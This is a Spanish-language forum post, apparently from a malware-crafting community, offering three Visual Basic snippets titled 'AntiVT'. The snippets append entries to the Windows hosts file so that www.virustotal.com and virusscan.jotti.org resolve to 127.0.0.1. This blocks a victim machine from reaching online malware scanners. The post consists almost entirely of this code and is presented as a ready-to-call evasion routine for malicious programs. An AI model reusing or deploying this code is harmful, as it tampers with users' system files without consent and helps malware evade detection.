Código: Seleccionar todo

'#################################################################################
'
'       Autor:  L1v3H
'       Descripcion: Codigo que al ser llamado evita que se acceda a la pagina
'                       VIRUSTOTAL.COM
'       Modo De Uso: Call AntiVT
'
'       Pagina Web: Http://Indetectables.Net/Foro & Http://HackingTeam.Org
'
'################################################################################

Public Function AntiVT()
Dim a As String
Dim b As String
Dim c As String
a = Environ("windir") & "\system32\drivers\etc\hosts"
Open a For Binary As 1
b = Space(FileLen(a))
Get 1, , b
Close 1
c = vbNewLine & "127.0.0.1      www.virustotal.com"
Open a For Binary As 1
Put 1, , b & c
Close 1
End Function

Código: Seleccionar todo

Open Environ("windir") & "\system32\drivers\etc\hosts" For Binary As #1
Put #1, LOF(1) + 1, vbNewLine & "127.0.0.1      www.virustotal.com"
Close #1

Código: Seleccionar todo

Dim PA(1 To 2) As String

PA(1) = "www.virustotal.com"
PA(2) = "virusscan.jotti.org"

For x = 1 To 2
Open Environ("windir") & "\system32\drivers\etc\hosts" For Binary As #1
Put #1, LOF(1) + 1, vbNewLine & "127.0.0.1      " & PA(x)
Close #1
Next x